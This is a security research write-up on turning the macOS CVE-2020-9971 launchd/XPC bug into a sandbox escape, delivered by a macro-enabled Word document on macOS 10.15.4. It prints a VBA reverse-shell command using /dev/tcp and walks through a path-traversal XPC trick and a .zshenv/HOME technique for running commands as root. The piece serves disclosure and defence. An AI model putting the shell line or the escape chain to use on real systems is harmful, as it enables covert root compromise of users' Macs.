Introduction

CVE-2020-9971 is a logic vulnerability in macOS/iOS, leveraged to a stable privilege escalation exploit. In this writeup, the researcher (@R3dF09) mentioned it would also work from the most restricted app sandbox, so we decided to test it out and escape Microsoft Office 2019 (for Mac) app sandbox using a weaponized Word document. For this task we had to use a couple of interesting tricks to bypass Apple’s file quarantine, but let’s start with a few words on the vulnerability (we highly recommend reading the original writeup first).

The vulnerability

The bug is located in the launchd process and related to the XPC Services mechanism. This mechanism provides an interprocess communication, allowing developers to create services which perform specific tasks for their application. This is usually used to split an application into smaller parts, improving reliability and security.

Each process has its domain, managed by launchd, which contains information about the XPC services available for the process. Apple claimed that only the owner process can modify its own domain, but the core bug of this vulnerability is the ability to add an arbitrary XPC service into an arbitrary process domain, then triggering it to run in the context of this process. In the original writeup, the author “injected” a self-made XPC service into the domain of a specific process with root privilege (systemsoundserverd). The author also used a well-known feature of XPC services to listen on a socket in order to trigger and launch it.

Next, we’ll describe our steps to successfully weaponize a Word document and escape Word’s app sandbox. The research was performed on macOS 10.15.4, which is vulnerable to CVE-2020-9971, and on the newest version of Microsoft Office 2019 at the time (but this is irrelevant, as the vulnerability is on the OS side).

Standalone exploit

Our first goal was to imitate the steps in the original writeup and create a standalone command line exploit. At this stage, we thought we would only have to drop it and execute it from the weaponized Word document, but we were wrong (more on this later). Anyway, we created an application with XCode, accompanied with a simple XPC service, which performs the following steps:

  1. Finds the PID of the root privilege process we want to use.
    As we already knew it’s impossible to execute ps from within the Office app sandbox, we instead used the output of launchctl print system, which shows the process domains in the system.
    At this point we noticed that the process domain of systemsoundserverd is created at a considerable delay after the boot, so we used the process domain of launchservicesd instead.

  2. Injects our XPC service to the process domain of the found PID.

  3. Triggers the launch of our XPC service by opening a TCP socket.

The accompanied XPC service only creates a file (to indicate success), and is configured to listen on a specified TCP port. Both the exploit and the XPC service are stored in the same application bundle, but notice that we have two different executables.

With this standalone exploit we were able to get root privileges from a regular user, and it was time to move on to our ultimate goal.

Escaping the sandbox

The goal is to weaponize a Word document with this exploit in order to escape the app sandbox. Our ground base here is the ability to execute shell commands from this Word document – this could be achieved by some other vulnerability in Microsoft Office, or more easily by VBA macros, which only leaves us with the job of convincing the user to press “Enable Macros”. We wrote more about macro-based attacks on Mac users here. For this proof-of-concept we will use VBA macros.

It is simple to get a bash shell in the context of the Office app sandbox, then playing and experiencing with the restrictions. All you have to do is to listen on a specific port (with netcat for example) and execute the following VBA macro from within a Word document:

MacScript("do shell script ""bash -I >&/dev/tcp/127.0.0.1/PORT 0>&1 &""")

At this point, with a shell inside the sandbox, we tried to dump and execute our standalone exploit, but it just didn’t work. After some research we found out that every file we create from within the sandbox is created with the “com.apple.quarantine” attribute (which can be observed by the xattr utility).

The quarantine attribute is the core of many macOS protections. Originally, it was attached only to files downloaded from the internet, in order to perform several security checks (e.g. File Quarantine, GateKeeper, Notarization and XProtect). Since App Sandbox was introduced, another role was added to this attribute – mark files created from within a sandbox, and completely prevent them from being executed. Observe the logs generated when we tried to dump and execute a file from the sandboxed shell:

kernel: (Sandbox) Sandbox: bash(1724) deny(1) process-exec* /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test
kernel: (Quarantine) exec of /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test denied since it was quarantined by Microsoft Word and created without user consent, qtn-flags was 0x00000086

Hence, we can execute shell commands, but we can’t dump and run our own executables. For the exploit executable we had an easy replacement: just run a python script performing the same steps with the help of the ctypes package. Now we were able to inject the XPC service to the target process domain, and even trigger its execution, but it didn’t run: the XPC service executable itself was marked with the quarantine attribute.

Now it’s time to dive a little bit deeper into the structure of an XPC service. From the outside it looks like a single file with an “xpc” extension, but it’s actually a folder with this typical structure:

The main components are the Info.plist file, which is an XML file describing the service, and the executable itself (located inside the MacOS folder). One of the keys in the Info.plist is:

<key>CFBundleExecutable</key>
 <string>AppService</string>

We cannot use our own executables, so our only option is to use one of the system’s existing executables. We tried to use a full path in the CFBundleExecutable key, but then the XPC service wouldn’t load at all. It is clear that macOS looks for the executable with the name specified in this key inside the directory Contents/MacOS, so perhaps we can use path traversal to point to an existing executable? We tried to change the value to:

 <key>CFBundleExecutable</key>
 <string>../../../../../../../../../usr/bin/yes</string>

To our surprise, it worked! When we executed the exploit with this “fake” XPC service, we found a “yes” process with root privileges, even when we did it from within the sandbox (we thought this behavior seemed to be suspicious, so we reported this to Apple on February 25th 2021, however it’s not a security issue in itself).

So, we have the ability to run processes with root privileges, but it seems impossible to control their arguments. After further consulting within the team on this problem, we came up with the winning idea, noticing that we can control the new process’s environment variables – run a shell as the XPC service (zsh, for example), change its HOME directory to one we can control, and drop a file there which the shell sources at the beginning of its execution (.zshenv, for example).

Wrapping it all together

We wrote a python script which performs the following steps:

  1. Writes a “.zshenv” file to the current directory (inside the sandbox, the path is /Users/user/Library/Containers/com.microsoft.Word/Data) with the payload we want to execute as root.

  2. Finds the PID of the root privilege process we want to use (launchservicesd).

  3. Creates the “fake” XPC service, with the executable pointing to zsh and the HOME environment variable set to the current directory.

  4. Injects the “fake” XPC service to the process domain of the found PID.

  5. Triggers the launch of the XPC service by opening a TCP socket.

Then we packed this script in a base64 format to execute it from the VBA macro, and inserted it to the AutoOpen subroutine. Here is a demonstration where the payload only creates a file in /tmp/hacked (note that the file is created as root and without the quarantine bit):

Summary

We proved that CVE-2020-9971 can be used as a sandbox escape vulnerability, with a Word document as our POC. In the process we discovered a way to launch arbitrary executables through XPC services (with path traversal in the CFBundleExecutable value), and specifically to execute shell scripts (with the trick of controlling the HOME environment variable and dumping a .zshenv file).

This sandbox escape vulnerability allowed us to create a quick, easy and cheap weaponized Word document for macOS which deeply compromises the system.

Recommendations

  • Avoid opening documents, and especially running macros from unknown sources or parties you don’t fully trust.
  • Use a comprehensive security product that is able to handle such kinds of attacks. Perception-Point’s HAP is a proprietary patented dynamic scanning engine, that uses CPU level data to analyze the entire execution, providing unique protection against zero-day exploits (i.e. without any prior knowledge and the attack), N-day attacks, and attempts to execute malicious code embedded within documents.